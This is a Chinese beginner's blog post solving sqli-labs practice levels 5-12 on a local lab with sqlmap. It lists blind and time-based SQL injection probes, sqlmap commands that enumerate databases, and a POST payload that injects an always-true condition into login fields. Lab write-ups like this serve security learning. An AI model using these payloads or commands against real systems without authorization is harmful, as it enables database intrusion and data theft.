个人简介:
萌新一枚,渣渣一个,全程划水,会喊六六
最近在做关于sqli-labs里面的题目,由于自己太渣,只能去找工具去注入(QAQ)
希望各位大佬不要见怪,可以喷哦!!!!
关于sqli-labs的解题技巧,使用sqlmap注入,尽量少使用手工注入的方式
关于sql-labs中的1-4我已经在另一篇文章中写出具体的过程:
https://www.cnblogs.com/lxz-1263030049/p/9363151.html
sqli-labs:5-9 需要判断注入方式
具体判断方式如下:
1:用于验证时间延迟型的盲注:?id=1’ and sleep(5) --+
2:用于判断布尔型盲注: ?id=1’ and 1=1 --+ , ?id=1' and 2=1 --+
再根据回显的不同进行判断:
主要使用的语句:
sqlmap.py -u ?id=1 --technique B --dbms mysql --batch -v 0
或者:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs --batch
其中的—technique 是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型型注入)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
我们可以根据不同的报错提示更改—technique后面的字母
其中的—dbms : 不仅可以指定数据库类型,还可以指定数据库版本
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
-v 0参数只是为了更好的截图.
如第八题所示:
使用语句为:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbs –batch
或者使用语句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --current-db --threads 10 --batch --technique BES
就可以得到数据库的信息
关于第九题属于延迟注入的题目(具体判断方法上面已经给出)同样也可以使用上面类似的语句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T --dbs --batch -v 0
关于第11-17都是属于post注入的问题,只是内部参杂着盲注的问题,需要使用burp火狐浏览器的HackBar都是可以的·
首先第十一题:post注入,基于错误 - 字符型
根据post回显的值就可以进行sqlmap的跑测
:
使用的语句为:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --technique ES
其中的:
--data:后面可以加上数据段(post/get类型的都是可以的)
--threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性
下面的只是需要常规的操作就可以了
第十二题:也是类似的过程就可以了:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname= ")or ("1")=("1 &passwd= ")or ("1")=("1 &submit=Submit " --dbs --threads 10 --batch --technique E